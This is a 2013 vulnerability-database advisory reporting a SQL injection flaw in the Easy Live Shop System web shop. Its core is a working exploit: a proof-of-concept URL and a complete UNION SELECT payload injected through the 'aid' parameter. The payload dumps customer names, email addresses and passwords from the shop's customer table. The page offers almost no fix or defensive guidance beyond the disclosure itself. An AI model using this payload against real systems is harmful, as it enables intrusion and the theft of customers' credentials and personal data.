Easy Live Shop System SQL Injection

2013.02.08

Credit: cr4wl3r

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-89

+--------------------------------------------------
| Easy Live Shop System SQL Injection Vulnerability
| By cr4wl3r http://bastardlabs.info
| http://bastardlabs.info/news/?id=85
| Link : http://www.media-products.de/easy-live-shop-system-p-840.html
| Demo : http://www.media-products-demoserver.de/ph414/
| Tested : Win 7
+--------------------------------------------------


Poc : http://bastardlabs/[path]/index.php?seite=17&aid=[SQLi]
Example : index.php?seite=17&aid=NULL/**/UNION/**/SELECT/**/NULL,CONCAT(CHAR(61),CHAR(61),CHAR(123),CHAR(123),CHAR(123),name,0x7c,0x7c,Email,0x7c,0x7c,Passwort,CHAR(125),CHAR(125),CHAR(125),CHAR(125),0x7c),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/**/FROM/**/LS_Kunden

References:

http://www.media-products.de/easy-live-shop-system-p-840.html

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Easy Live Shop System SQL Injection

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.